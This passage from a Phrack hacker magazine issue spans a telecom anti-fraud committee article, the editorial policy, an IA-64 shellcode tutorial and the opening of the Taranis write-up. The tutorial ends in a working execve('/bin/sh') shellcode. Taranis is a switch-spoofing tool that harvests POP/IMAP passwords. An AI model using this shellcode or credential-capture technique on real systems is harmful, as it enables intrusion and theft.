calls are also recorded by the DVDB's for the RAO's. A second source(4) also added the following: "While much of the TFPC's activities are shrouded in secrecy, it is actively addressing third number billing, incoming international collect to cellular, incoming payphone and PBX remote access fraud." I think that clears things up a little. [who is in the TFPC.] The TFPC membership consists of a group of carriers including Ameritech, AT&T, Bellsouth, Bell Canada, British Telecom, Sprint and Verizon.(5) A TFPC member must be an organization, company or government agency that is affected by Telecommunications Fraud. Because the TFPC discusses sensitive information a non-disclosure agreement must be signed.(6) When becoming a member of the TFPC you also have to pay a membership fee. The membership fee is relatively small and really more a sign of good will.(7) [what they decide - case study] In the infinite wisdom that the TFPC has, ;) they decided that it was alright to make one of the issues public. The issue I was able to get was Issue #0131(8), subtitled: "Identification of Service Providers for Circuit Switched Calls". The issue was raised by Norb Lucash of the USTA. "Issue statement: In a multi-service provider environment (e.g. resale, unbundling, interconnection) there is a need for a defined architecture(s) to identify entities (companies) that are involved in circuit-switched calls to facilitate billing and auditing." If you look into this you'll see that it means that there was no identification of the individual service providers when phone calls were circuit switched. Apparently Local Service Providers (LSP's) were identified by the originating phone number, but because of the current "environment" this is not working properly, so sometimes calls that cost money can not be properly billed. To solve this problem phone calls are to be accompanied by a SPI. Then everyone can just check the SPI to find out who to bill for the call. There are several solutions to the problem so a strawman was created called "Service Provider Identification Architectural Alternatives Report"(9). Quite the mouthful. This issue was first raised on 11/17/98 and is still being worked on. In general session #28 (one of the tri-yearly meetings) on May 1st of 2001 it was concluded that this was allowed to be made available on the NIIF site. The NIIF were the people that made the strawman. NIIF stands for Network Interconnection Interoperability Forum and is part of the CLC, just like the TFPC is. I believe this will be a recipe for disaster. What if a rather disgruntled individual manages to get the SPI of company X? This individual truly dislikes company X. So he hooks into a main phone line and calls the most expensive places and does it quite often. The company handling the phone calls recognizes the SPI to be from company X. Company X gets the bill and thinks: no problem, we'll just bill the person who made the calls. When company X finds out none of their clients made those calls they have lost money. The choice made from the solutions below will decide how the attack would be done. [the alternatives - case continued] As I said before, there are several solutions to the problem of the SPI's. Here they are: A. Switch-Based Alternative B. Non-Real Time Database Alternative C. Network Database Alternative D. Non-Call Setup Network Alternative E. Phased SPI Implementation Alternative What follows is a run through of how each solution would work. A. Switch-Based Alternative When a call is coming in, information about the account owner of the person calling becomes available as a line-based attribute. Both the acount owner and switch owner information is forwarded in a new parameter in the (SS7) call-setup signalling of the IAM (Initial Address Message). This information is then made available to every network node on the route of the call. When the calls reaches the final switch, similar information of the SPI of the called number is returned via (SS7) response messages, (e.g, ACM (Address Complete Message) and ANM (Answer Message)). When that information is received the originating switch has the option of including it within the originating AMA (Automatic Message Accounting) record of the call. An advantage of this would be that the information would move in real time between the companies involved. But this solution has some problems, it would require that all switches get enhanced, the AMA will have to change to make this possible and it doesn't take care of situations where SPI-type information is needed for numbers which are neither owned by the called nor calling person. B. Non-Real Time Database Alternative With this alternative it is the idea that SPI information should be put in one or more databases not directly connected to the processing of separate calls. The information could then be made available on request to the phone network some time after the call. The time between the call and the receipt of the SPI information can range from mere milliseconds up to weeks. This is actually an alright approach because only one (minor) problem gets created and only one problem remains. Everyone would have to agree who would be the third, independent, party to maintain the database. This alternative would not allow for SPI-based screening for call routing purposes. C. Network Database Alternative Sort of like the Switch-Based Alternative, this does real-time receiving and sending of SPI information when the call gets made. But the Switch-Based Alternative gets the SPI information from the switch. This alternative gets the information from an external database connected to the network. SPI information would then by grabbed by IN (Intelligent Network) or AIN (Advanced Intelligent Network) queries when the call is made. The information could become part of one of the queries currently in use (LNP, LIDB and Toll Free for example) or a completely new query that gets handled by a separate SCP (Service Control Point). D. Non-Call Setup Network Alternative The idea behind this solution is that the SPI information still comes through network signalling but detached from the call setup portion. ONLS (Originating Line Number Screening) and GET DATA (SS7) messaging are a way to get information outside of the standard call setup. E. Phased SPI Implementation Alternative The NIIF analysed the other solutions and figures alternative C is the best way to go as it comes closest to the requirements of the system that is needed. Implementation of any alternative that provides SPI in a real-time way will have a serious impact on the phone network and it will take a long time before it is completely implemented. Not all carriers have a SPI right now, so an expedited solution must be found for their problems. The NIIF thinks a segmented implementation of a limited SPI capability with a non real-time database will be best. In the future the database could be enhanced. A phased approach that begins with including SPI information with a non real-time accessible line-level database appears to be possible to implement in the near future that gives a lot of the wanted attributes. The NIIF thinks it will be best if existing LIDB's get used as a database at first because a lot of the LIDB's will already contain an Account Owner field, are available to most facilities-bases service providers and may not require that much change. Problems with LIDB's are: Potential overload of LIDB queries. Inability to perform batch processing to do off hour downloads. Potential call delay set ups because of the higher amount of queries. [so what is it going to be?] Right now no final decision has been made, all this information has been sent to the OBF (Order & Billing Forum) to make a RFP (Request For Process) so a final decision can be made. By the sounds of things alternative E is probably going to be the "winner" in all of this. [miscellaneous information] The mailing address for the TFPC is(6) TFPC Secretary - ATIS 1200 G St. NW Suite 500 Washington, D.C. 20005 Ofcourse the TFPC is not the only anti fraud initiative. A lot of telephony associations have a anti fraud section as well. I noticed that the following five were mentioned on quite a few websites on telephone fraud. One such source was Agilent(10). Agilent is one of the members of the TFPC. http://www.cfca.org - Communications Fraud Control Association (CFCA) http://www.asisonline.org - American Society for Industrial Security (ASIS) http://www.htcia.org - High Technology Crime Investigation Association (HTCIA) http://www.iir.com/nwccc/nwccc.htm - National White Collar Crime Center (NWCCC) http://www.fraud.org - National Fraud Information Center (NFIC) [conclusion] Judging by the amount of planning, who are members and the work found you can rest assured that once a decision is made all members will implement it. This makes things harder for a phreak. As the discovery of a problem by one company gets shared with other companies even greater vigilance is needed by individuals who do not want word to get out about their tricks. I do not think that committees like the TFPC will succeed in banning out all the mistakes in the telephony network. This article showed that with the introduction of a solution for one problem another potential problem opened. I am sure there are many more. [sources] (1) http://www.atis.org/atis/clc/tfpc/tfpc/tfpchom.htm from "TFPC Guidelines v1.0" published February 2001, (2) found in section II, Mission Statement. http://www.atis.org/pub/clc/tfpc/tfpcguidefinal201.pdf (3) according to a slide show taken from Nortel.com called "Securing Your Net", presented by David Bench, Senior Staff Manager-Industry Forums Liaison US Standards & industry forums team. monitor.pdf and portability.pdf I have lost the links so I have put them up at http://www.emc2k.com/dhcorp/tfpc/monitor.pdf and http://www.emc2k.com/dhcorp/tfpc/portability.pdf (4) from a overview of The Operator, volume I, number 10. read in the letter from the editor section. published October, 1992 http://www.whitaker.com/theoperator/opop0010.htm (5) from "TFPC Company Participants" http://www.atis.org/atis/clc/tfpc/tfpclist.htm (6) Non-disclosure agreement http://www.atis.org/pub/clc/tfpc/nondnew.pdf (7) as assumed by reading "2001 Funding fees for the TFPC" http://www.atis.org/pub/clc/tfpc/tfpc2001fees.doc (8) History of decisions from 1998 until 2001 for issue 131 http://www.atis.org/pub/clc/niif/issues/0131.doc (9) The original link died. I put it up for people to view at http://www.emc2k.com/dhcorp/tfpc/131strawr8.doc (10)The following URL is cut up a bit to fit properly. http://www.agilent.com/cm/commslink/hub/issues/fraud/*CONNECT* fraud_prevent_initiatives.html |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x39, Phile #0x04 of 0x12 |=-------------------=[ THE PHRACK EDITORIAL POLICY ]=-------------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ phrackstaff ]=----------------------------=| "Scholars and academics naturally tend to believe that formal knowledge is the most important way of knowing, and perhaps they are right, yet even so it is not formal but common knowledge which informs nearly all the day-to-day decisions and actions people take, even the most learned among them." - William Gosling [Gosling, 1995] ----| 1. Introduction Because the editorship of Phrack has moved from being solely under the control of one person (route) to a group of "phrack staff", it is valuable to reiterate the editorial policy for the magazine. Please note that it is not the intention of this article to describe requirements for what we will or will not accept for publication. The goal is to provide a number of pointers for authors which they will hopefully find useful when writing articles that they intend to submit. Firstly, we wish to stress that we are dedicated to continuing and improving the reputation Phrack has for publishing interesting and original articles. Articles published in Phrack have always fulfilled two general criteria: 1. The research described in the article is original and new. 2. The article is well written. This has always been what Phrack is all about and it will remain that way. Each of the sections below describe things to keep in mind if you intend writing and submitting an article for the magazine. ----| 2. Subjects for Research We will never specify particular technology areas that authors should concentrate on. What you choose to write about is entirely up to you, assuming of course that it is related in some way to information security! Many articles published in Phrack in the past have concentrated on an individual concept or an individual technology and we would like to see articles that combine concepts to create new ideas. For example: distributed denial of service tools exist because of work done on network agents that can be remotely controlled. What other ways can network agents be employed? Certainly for distributed password sniffing (roll your on Echelon...) and distributed network scanning, but also for worms and even as agents programmed to perform autonomous network penetration. We are as interested in the evolution of existing ideas as we are in research on entirely new subjects. A good example of this type of thinking is the editorial written by route in Phrack 53. His article describes the properties of server-centric attacks that most people are familiar with. In addition however, he talks about client-centric attacks - an idea which only seems obvious in hindsight and that certainly deserves much more attention. ----| 3. Writing in Plain Language Multiple Phrack articles have been "put into plain language" for general consumption by third-parties such as online news outlets. They have taken the ideas presented in Phrack articles and described them using language and analogies that their readers can understand. With concepts such as distributed denial of service and buffer overflows it is not necessary for the reader to understand the subject at a very technical level in order to understand the underlying idea. It is a fact that as subject matter becomes more technically esoteric and complex the audience that can understand that type of information gets smaller and smaller. When writing about technical subjects it is tempting to write in highly technical language (and I admit that I am sometimes guilty of this myself), but please take into consideration the fact that the audience for Phrack is at varying levels of technical competence; this is a fact of life. In addition, many of the readers of Phrack may not have English as their first language and this makes it especially important that articles are clear so that we can maximize the readership. There is no shame in writing in simple language. For these reasons we encourage submissions to Phrack to be written in language that is not excessively technical. We appreciate however that this is difficult to do when writing about subjects which are technical by their very nature. ----| 4. Full Expansion of Ideas A good article becomes a great article when the idea being presented is carried through to its full and logical conclusion. For example: Phrack has published a number of articles on evading network-based intrusion detection systems (IDS). Assuming that we have a new technique to document that allows us to bypass most IDS; of course the article must include a description of the theory behind the technique, but to make the article complete is should also include: * A description of what fundamental mistake the designers of the IDS made to allow the technique to work. * A section in the article on what can be done to mitigate the risk of the technique. For example: a patch or a change in the way an IDS is deployed or used. * A discussion of other technologies that may be affected by similar techniques. For this example this could be firewall technology that attempts to perform signature-based content analysis or even anti-virus software based on a misuse-detection model. We encourage ideas to be presented fully and in a way that does not simply look at the technology in isolation. ----| 5. Using References Putting references to other pieces of work has become almost standard practice for Phrack articles. This is a very good thing because it allows the reader to continue their research into the particular subject. At the end of your article, the list of references should include the author, the title, the date of the work, and also a URL for where it can be found online. For example: [Stewart, 2000] Andrew J. Stewart, "Distributed Metastasis: A Computer Network Penetration Methodology", September, 1999. http://www. securityfocus.com/data/library/distributed_metastasis.pdf In addition to references for related pieces of work, we would like to see references to any materials that you found useful when performing your research for the article. This could include books, manuals, materials found online, and so on. Any suggestions that you may have for follow-on work should be included. Perhaps you are aware of a related technique that might work but have not had the time to investigate it: include this in your article. ----| 6. Conclusions This article should in no way be viewed as an attempt to force people into writing Phrack articles a certain way. These are simply some observations about what has been done in the past and could possibly be improved upon in the future. Happy writing! ----| 7. References [Gosling, 1995] William Gosling, "Helmsmen and Heroes - Control Theory as a Key to Past and Future", 1994. |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x39, Phile #0x05 of 0x12 |=-------------------=[ WRITING SHELLCODE FOR IA-64 ]=-------------------=| |=-----------=[ or: 'how to turn diamonds into jelly beans' ]------------=| |=--------------------=[ papasutra of haquebright ]=---------------------=| - Intro - Big Picture - Architecture - EPIC - Instructions - Bundles - Instruction Types and Templates - Registers - Register List - Register Stack Engine - Dependency Conflicts - Alignment and Endianness - Memory Protection - Privilege Levels - Coding - GCC IA-64 Assembly Language - Useful Instruction List - Optimization - Coding Aspects - Example Code - References - Greetings --> Intro This paper outlines the techniques you need and the things I've learned about writing shellcode for the IA-64. Although the IA-64 is capable of executing IA-32 code, this is not topic of this paper. Example code is for Linux, but most of this applies to all operating systems that run on IA-64. --> Big Picture IA-64 is the successor to IA-32, formerly called the i386 architecture, which is implemented in all those PC chips like Pentium and Athlon and so on. It is developed by Intel and HP since 1994, and is available in the Itanium chip. IA-64 will probably become the main architecture for the Unix workstations of HP and SGI, and for Microsoft Windows. It is a 64 bit architecture, and is as such capable of doing 64 bit integer arithmetic in hardware and addressing 2^64 bytes of memory. A very interesting feature is the parallel execution of code, for which a very special binary format is used. So lets get a little more specific. --> EPIC On conventional architectures, parallel code execution is made possible by the chip itself. The instructions read are analyzed, reordered and grouped by the hardware at runtime, and therefore only very conservative assumptions can be made. EPIC stands for 'explicit parallel instruction computing'. It works by grouping the code into independent parts at compile time, that is, the assembly code must already contain the dependency information. --> Instructions The instruction size is fixed at 41 bits. Each instruction is made up of five fields: +-----------+-----------+-----------+-----------+-----------+ | opcode | operand 1 | operand 2 | operand 3 | predicate | +-----------+-----------+-----------+-----------+-----------+ | 40 to 27 | 26 to 20 | 19 to 13 | 12 to 6 | 5 to 0 | +-----------+-----------+-----------+-----------+-----------+ The large opcode space of 14 bits is used for specializing operations. For example, there are different branch instructions for branches that are taken often and ones taken seldomly. This extra information is then used in the branch prediction unit. There are three operand fields usable for immediate values or register numbers. Some instructions combine all three operand fields to a single 21 bit immediate value field. It is also possible to append a complete 41 bit instruction slot to another one to form a 64 bit immediate value field. The last field references a so called predicate register by a 6 bit number. Precicate registers each contain a single bit to represent the boolean values 'true' and 'false'. If the value is 'false' at execution time, the instruction is discarded just before it takes effect. Note that some instructions cannot be predicated. If a certain operation does not need a certain field in the scheme above, it is set to zero by the assembler. I tried to fill in other values, and it still worked. But this may not be the case for every instruction and every implementation of the IA-64 architecture. So be careful about this... Also note that there are some shortcut instructions such as mov, which for real is just an add operation with register 0 (constant 0) as the other argument. --> Bundles In the compiled code, instructions are grouped together to 'bundles' of three. Included in every bundle is a five bit template field that specifies which hardware units are needed for the execution. So what it boils down to is a bundle length of 128 bits. Nice, eh? +-----------+----------+---------+----------+ | instr 1 | instr 2 | instr 3 | template | |-----------+----------+---------+----------| | 127 to 87 | 86 to 46 | 45 to 5 | 4 to 0 | +-----------+----------+---------+----------+ Templates are used to dispatch the instructions to the different hardware units. This is quite straightforward, the dispatcher just has to switch over the template bits. Templates can also encode a so-called 'stop' after instruction slots. Stops are used to break parallel instruction execution, and you will need them to solve Data Flow Dependencies (see below). You can put a stop after every complete bundle, but if you need to save space, it is often better to stop after an instruction in the middle of a bundle. This does not work for every template, so you need to check the template table below for this. The independent code regions between stops are called instruction groups. Making use of the parallel semantics they carry, the Itanium for example is capable of executing up to two bundles at once, if there are enough execution units for the set of instructions specified in the templates. In the next implementations the numbers will be higher for sure. --> Instruction Types and Templates There are different instruction types, grouped by the hardware unit they need. Only certain combinations are allowed in a single bundle. Instruction types are A (ALU Integer), I (Non-ALU Integer), M (Memory), F (Floating Point), B (Branch) and L+X (Extended). The X slots may also contain break.i and nop.i for compatibility reasons. In the following template list, '|' is a stop: 00 M I I 01 M I I| 02 M I|I <- in-bundle stop 03 M I|I| <- in-bundle stop 04 M L X 05 M L X| 06 reserved 07 reserved 08 M M I 09 M M I| 0a M|M I <- in-bundle stop 0b M|M I| <- in-bundle stop 0c M F I 0d M F I| 0e M M F 0f M M F| 10 M I B 11 M I B| 12 M B B 13 M B B| 14 reserved 15 reserved 16 B B B 17 B B B| 18 M M B 19 M M B| 1a reserved 1b reserved 1c M F B 1d M F B| 1e reserved 1f reserved --> Registers This is not a comprehensive list, check [1] if you need one. IA-64 specifies 128 general (integer) registers (r0..r127). There are 128 floating point registers, too (f0..f127). Predicate Registers (p0..p63) are used for optimizing runtime decisions. For example, 'if' results can be handled without branches by setting a predicate register to the result of the 'if', and using that predicate for the conditional code. As outlined above, predicate registers are referenced by a field in every instruction. If no register is specified, p0 is filled in by the assembler. p0 is always 'true'. Branch Registers (b0..b7) are used for indirect branches and calling. Branch instructions can only handle branch registers. When calling a function, the return address is stored in b0 by convention. It is saved to local registers by the called function if it needs to call other functions itself. There are the special registers Loop Count (LC) and Epilogue Count (EC). Their use is explained in the optimization chapter. The Current Frame Marker (CFM) holds the state of the register rotation. It is not accessible directly. The Instruction Pointer (IP) contains the address of the bundle that is currently executed. The User Mask (UM): +-------+-------------------------------------------------------------+ | flag | purpose | +-------+-------------------------------------------------------------+ | UM.be | set this to 1 for big endian data access | | UM.ac | if this is 0, Unaligned Memory Faults are raised only if | | | the situation cannot be handled by the processor at all | +-------+-------------------------------------------------------------+ The User Mask can be modified from any privilege level (see below). Some interesting Processor Status Register (PSM) fields: +---------+-----------------------------------------------------------+ | flag | purpose | +---------+-----------------------------------------------------------+ | PSR.pk | if this is 0, protection key checks are disabled | | PSR.dt | if this is 0, physical addressing is used for data | | | access; access rights are not checked. | | PSR.it | if this is 0, physical addressing is used for instruction | | | access; access rights are not checked. | | PSR.rt | if this is 0, the register stack translation is disabled | | PSR.cpl | this is the current privilege level. See its chapter for | | | details. | +---------+-----------------------------------------------------------+ All but the last of these fields can only be modifiled from privilege level 0 (see below). --> Register List +---------+------------------------------+ | symbol | Usage Convention | +---------+------------------------------+ | b0 | Call Register | | b1-b5 | Must be preserved | | b6-b7 | Scratch | | r0 | Constant Zero | | r1 | Global Data Pointer | | r2-r3 | Scratch | | r4-r5 | Must be preserved | | r8-r11 | Procedure Return Values | | r12 | Stack Pointer | | r13 | (Reserved as) Thread Pointer | | r14-r31 | Scratch | | r32-rxx | Argument Registers | | f2-f5 | Preserved | | f6-f7 | Scratch | | f8-f15 | Argument/Return Registers | | f16-f31 | Must be preserved | +---------+------------------------------+ Additionaly, LC must be preserved. --> Register Stack Engine IA-64 provides you with a register stack. There is a register frame, consisting of input (in), local (loc), and output (out) registers. To allocate a stack frame, use the 'alloc' instruction (see [1]). When a function is called, the stack frame is shifted, so that the former output registers become the new input registers. Note that you need to allocate a stack frame even if you only want to access the input registers. Unlike on SPARC, there are no 'save' and 'restore' instructions needed in this scheme. Also, the (memory) stack is not used to pass arguments to functions. The Register Stack Engine also provides you with register rotation. This makes modulo-scheduling possible, see the optimization chapter for this. The 'alloc' described above specifies how many general registers rotate, the rotating region always begins at r32, and overlaps the local and output registers. Also, the predicate registers p16 to p63 and the floating point register f32 to f127 rotate. --> Dependency Conflicts Dependency conflicts are formally classified into three categories: - Control Flow Conflicts These occur when assumptions are made if a branch is taken or not. For example, the code following a branch instruction must be discarded when it is taken. On IA-64, this happens automatically. But if the code is optimized using control speculation (see [1]), control flow conflicts must be resolved manually. Hardware support is provided. - Memory Conflicts The reason for memory conflicts is the higher latency of memory accesses compared to register accesses. Memory access is therefore causing the execution to stall. IA-64 introduces data speculation (see [1]) to be able to move loads to be executed as early as possible in the code. - Data Flow Conflicts These occur when there are instructions that share registers or memory fields in a block marked for parallel execution. This leads to undefined behavior and must be prevented by the coder. This is the type of conflict that will bother you the most, especially when trying to write compact code! --> Alignment and Endianess As on many other architectures, you have to align your data and code. On IA-64, code must be aligned on 16 byte boundaries, and is stored in little endian byte order. Data fields should be aligned according to their size, so an 8 bit char should be aligned on 1 byte boundaries. There is a special rule for 10 byte floating point numbers (should you ever need them), that is you have to align it on 16 byte boundaries. Data endianess is controlled by the UM.be bit in the user mask ('be' means big endian enable). On IA-64 Linux, little endian is default. --> Memory Protection Memory is divided into several virtual pages. There is a set of Protection Key Registers (PKR) that contain all keys required for a process. The Operating System manages the PKR. Before memory access is permitted, the key of the respective memory field (which is stored in the Translation Lookaside Buffer) is compared to all the PKR keys. If none matches, a Key Miss fault is raised. If there is a matching key, it is checked for read, write and execution rights. Access capabilities are calculated from the key's access rights field, the privilege level of the memory page and the current privilege level of the executing code (see [1] for details). If an operation is to be performed which is not covered by the calculated capabilities, a Key Permission Fault is generated. --> Privilege Levels There are four privilege levels numbered from 0..3, with 0 being the most privileged one. System instructions and registers can only be called from level 0. The current privilege level (CPL) is stored in PSR.cpl. The following instructions change the CPL: - enter privileged code (epc) The epc instruction sets the CPL to the privilege level of the page containing the epc instruction, if it is numerically higher than the CPL. The page must be execute only, and the CPL must not be numerically lower than the previous privilege level. - break 'break' issues a Break Instruction Fault. As every instruction fault on IA-64, this sets the CPL to 0. The immediate value stored in the break encoding is the address of the handler. - branch return This resets the CPL to previous value. --> GCC IA-64 Assembly Language As you should have figured out by now, assembly language is normally not used to program a chip like this. The optimization techniques are very difficult for a programmer to exploit by hand (although possible of course). Assembly will always be used to call some processor ops that programming languanges do not support directly, for algoritm coding, and for shellcode of course. The syntax basically works like this: (predicate_num) opcode_name operand_1 = operand_2, operand_3 Example: (p1) fmul f1 = f2, f3 As mentioned in the instruction format chapter, sometimes not all operand fields are used, or operand fields are combined. Additionally, there are some instructions which cannot be predicated. Stops are encoded by appending ';;' to the last instruction of an instruction group. Symbolic names are used to reference procedures, as always. --> Useful Instruction List Although you will have to check [3] in any case, here are a very few instructions you may want to check first: +--------+------------------------------------------------------------+ | name | description | +--------+------------------------------------------------------------+ | dep | deposit an 8 bit immediate value at an arbitrary position | | | in a register | | dep | deposit a portion of one reg into another | | mov | branch register to general register | | mov | max 22 bit immediate value to general register | | movl | max 64 bit immediate value to general register | | adds | add short | | branch | indirect form, non-call | +--------+------------------------------------------------------------+ --> Optimizations There are some optimization techniques that become possible on IA-64. However because the topic of this paper is not how to write fast code, they are not explained here. Check [5] for more information about this, especially look into Modulo Scheduling. It allows you to overlap multiple iterations of a loop, which leads to very compact code. --> Coding Aspects Stack: As on IA-32, the stack grows to the lower memory addresses. Only local variables are stored on the stack. System calls: Although the epc instruction is meant to be used instead, Linux on IA-64 uses Break Instruction Faults to do a system call. According to [6], Linux will switch to epc some day, but this has not yet happened. The handler address used for issuing a system call is 0x100000. As stated above, break can only use immediate values as handler addresses. This introduces the need to construct the break instruction in the shellcode. This is done in the example code below. Setting predicates: Do that by using the compare (cmp) instructions. Predicates might also come handy if you need to fill some space with instructions, and want to cancel them out to form NOPs. Getting the hardware: Check [2] or [7] for experimenting with IA-64, if you do not have one yourself. --> Example Code <++> ia64-linux-execve.c !f4ed8837 /* * ia64-linux-execve.c * 128 bytes. * * * NOTES: * * the execve system call needs: * - command string addr in r35 * - args addr in r36 * - env addr in r37 * * as ia64 has fixed-length instructions (41 bits), there are a few * instructions that have unused bits in their encoding. * i used that at two points where i did not find nul-free equivalents. * these are marked '+0x01', see below. * * it is possible to save at least one instruction by loading bundle[1] * as a number (like bundle[0]), but that would be a less interesting * solution. * */ unsigned long shellcode[] = { /* MLX * alloc r34 = ar.pfs, 0, 3, 3, 0 // allocate vars for syscall * movl r14 = 0x0168732f6e69622f // aka "/bin/sh",0x01 * ;; */ 0x2f6e458006191005, 0x631132f1c0016873, /* MLX * xor r37 = r37, r37 // NULL * movl r17 = 0x48f017994897c001 // bundle[0] * ;; */ 0x9948a00f4a952805, 0x6602e0122048f017, /* MII * adds r15 = 0x1094, r37 // unfinished bundle[1] * or r22 = 0x08, r37 // part 1 of bundle[1] * dep r12 = r37, r12, 0, 8 // align stack ptr * ;; */ 0x416021214a507801, 0x4fdc625180405c94, /* MII * adds r35 = -40, r12 // circling mem addr 1, shellstr addr * adds r36 = -32, r12 // circling mem addr 2, args[0] addr * dep r15 = r22, r15, 56, 8 // patch bundle[1] (part 1) * ;; */ 0x0240233f19611801, 0x41dc7961e0467e33, /* MII * st8 [r36] = r35, 16 // args[0] = shellstring addr * adds r19 = -16, r12 // prepare branch addr: bundle[0] addr * or r23 = 0x42, r37 // part 2 of bundle[1] * ;; */ 0x81301598488c8001, 0x80b92c22e0467e33, /* MII * st8 [r36] = r17, 8 // store bundle[0] * dep r14 = r37, r14, 56, 8 // fix shellstring * dep r15 = r23, r15, 16, 8 // patch bundle[1] (part 2) * ;; */ 0x28e0159848444001, 0x4bdc7971e020ee39, /* MMI * st8 [r35] = r14, 25 // store shellstring * cmp.eq p2, p8 = r37, r37 // prepare predicate for final branch. * mov b6 = r19 // (+0x01) setup branch reg * ;; */ 0x282015984638c801, 0x07010930c0701095, /* MIB * st8 [r36] = r15, -16 // store bundle[1] * adds r35 = -25, r35 // correct string addr * (p2) br.cond.spnt.few b6 // (+0x01) branch to constr. bundle * ;; */ 0x3a301799483f8011, 0x0180016001467e8f, }; /* * the constructed bundle * * MII * st8 [r36] = r37, -8 // args[1] = NULL * adds r15 = 1033, r37 // syscall number * break.i 0x100000 * ;; * * encoding is: * bundle[0] = 0x48f017994897c001 * bundle[1] = 0x0800000000421094 */ <--> --> References [1] HP IA-64 instruction set architecture guide http://devresource.hp.com/devresource/Docs/Refs/IA64ISA/ [2] HP IA-64 Linux Simulator and Native User Environment http://www.software.hp.com/products/LIA64/ [3] Intel IA-64 Manuals http://developer.intel.com/design/ia-64/manuals/ [4] Sverre Jarp: IA-64 tutorial http://cern.ch/sverre/IA64_1.pdf [5] Sverre Jarp: IA-64 performance-oriented programming http://sverre.home.cern.ch/sverre/IA-64_Programming.html [6] A presentation about the Linux port to IA-64 http://linuxia64.org/logos/IA64linuxkernel.PDF [7] Compaq Testdrive Program http://www.testdrive.compaq.com The register list is mostly copied from [4] --> Greetings palmers, skyper and scut of team teso honx and homek of dudelab |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x39, Phile #0x06 of 0x12 |=-------------------------=[ T A R A N I S ]=---------------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Jonathan Wilkins ]=-------------------------=| Taranis ------- Code by Jonathan Wilkins Original concept by Jesse . Thanks to Skyper for his assistance URL: http://www.bitland.net/taranis Summary ------- Taranis redirects traffic on switch hardware by sending spoofed ethernet traffic. This is not the same as an ARP poisoning attack as it affects only the switch, and doesn't rely on ARP packets. Plus, it is virtually invisible because the packets it sends aren't seen on any other port on the switch. Evading detection by an IDS that may be listening on a monitoring port is as simple as changing the type of packet that is sent by the packet spoofing thread. How it works ------------ First, some history. Back in the old days, we had 10base5, or thick Ethernet. The 10 prefix meant that it was 10 Megabit and the 5 postfix indicated that the maximum cable length was 500 meters. It used a coaxial cable, much like cable TV uses. (The difference is in the maximum impedence of the cable, TV cable is 75 ohm, ethernet is 50 ohm) Coaxial cable consists of a central wire which is surrounded by a layer of insulator, which is enclosed in a shield made of thin stranded wire. This is all encased in another thinner insulating layer. A thick Ethernet network had a shared backplane and then a series of trancievers that plugged into it. If the shared portion of the cable broke, or rodents happened to chew through it, then the entire network went down. Since the cable was usually strung throughout the ceiling and walls it was quite inconvenient to fix. Long runs of cable had to be augmented by a repeater, which was just a little device that boosted the signal strength. A 10base5 network looked something like this: Shared backplane X-+------+------+------+------+------+-X (+ - Tranciever) | | | | | | (X - Terminator) | | | | | | Host Host Host Host Host Host A B C D E F This was replaced by thin Ethernet (10base2, which means that it was 10Mbit and had a maximum cable length of 200 meters)), which was based on a shared cable but didn't require trancievers and so was less expensive. (10base2 was also known as cheapernet) It was also vulnerable to the rodent attack. 10base2 looked something like this: X------.------.------.------.------.------X Host Host Host Host Host A B C D E (X - terminator which is just a 50 ohm resistor) (. - BNC Connector, T shaped piece of metal that connected two pieces of cable with a computer) Then came 10baseT, or Twisted Pair Ethernet. This was based around a star topology. The reason for the name is clear when you see a diagram. Host A Host B Host C | | | \________ | ________/ \ | / Switch or Hub / | \ /~~~~~~~~ | ~~~~~~~~\ Host D Host E Host F Now if rats happened to chew through a network cable, only one computer would lose network connectivity. If a giant rat happened to eat the network hub, it was easy to crimp new ends on the twisted pair cable and buy a new hub. An Ethernet Frame header looks like this: | | | | | | | | | | | | | | | 0 6 11 13 Bytes 0-5 are the Destination Address Bytes 6-11 are the Source Address Bytes 12-13 is the Type Code (IP is 0x0800) All of the discussed ethernet types (10base5, 10base2 and 10baseT) are based around a shared medium. This means that packets are broadcast to every connected machine. It also means that when one device is sending, no other devices can send. To increase bandwidth, switches were created. Ethernet switches only forward packets to the port (a port is the hole you plug the cable into) that the packet is destined for. (This means all ports in the case of a broadcast packet) This meant that more total packets could be sent through the network if a switch were used than if a hub was used. Switches and hubs are built to allow uplinking (when you connect another switch or hub into a port instead of just a single computer). In the case of a hub, this just means that there are more machines sharing the available bandwidth. In the case of a switch it means that the internal traffic from one hub won't be seen on other ports. It also means that multiple ethernet addresses can be on each port and that the switch must contain a list of all of the ethernet addresses that are on a given physical port and only forward traffic to the port that the destination host is on. It would be silly to require a network administrator to track down the ethernet addresses for each of the connected machines and enter them manually to build this list, so switches generate this list automatically by watching network traffic. As long as there is a way for this to be configured automatically, the switch is probably vulnerable to this attack. When run, Taranis will start sending packets with the mail server's ethernet address as the source ethernet address and the attacking machine's real ethernet address as the destination address. When the switch sees this packet it will update it's internal table of port->ethernet address mappings. (This is called the CAM table. For more information on how the CAM table is updated check, http://routergod.com/gilliananderson/ For the record, CAM apparently stands for Content Addressable Memory, an extremely generic term) The switch will not forward the packet to any other ports as the destination ethernet address is set to an ethernet address already associated with the current port. This internal table looks something like this: Port | Ethernet Addresses -------+---------------------------------------- Port 1 | 01:00:af:34:53:62 (Single host) Port 2 | 01:e4:5f:2a:63:35 00:c1:24:ee:62:66 ... (Hub/Switch) Port 3 | 11:af:5a:69:08:63 00:17:72:e1:72:70 ... (Hub/Switch) Port 4 | 00:14:62:74:23:5a (Single host) ... As far as the switch is concerned, it has a hub connected on that port, and it just saw a packet from one host on that hub to another host on the same hub. It doesn't need to forward it anywhere. Now that we are seeing traffic destined for the mail server, what can we do with it? The initial idea was to perform a man in the middle attack, but this proved to be more difficult than anticipated. (see the comments for switchtest at the end of this file) Instead taranis spoofs enough of a pop or imap session to get a client to authenticate by sending it's username and password. Taranis will store this authentication information to a logfile. To see everything displayed in a nicer format run: cat taranis.log | sort | uniq Configuration ------------- Taranis was developed under FreeBSD 4.3. It also builds under OpenBSD and Linux. If you port it to another platform, send me diff's and I'll integrate them into the release. You will require a patch to your kernel to allow you to spoof ethernet source addresses under FreeBSD and OpenBSD. LibNet has one for OpenBSD and for FreeBSD < 4.0. I have updated this patch for FreeBSD 4+ and it is included in this archive as if_ethersubr.c.patch. You can use it as follows.. - su root - cd /usr/src/sys/net - patch < 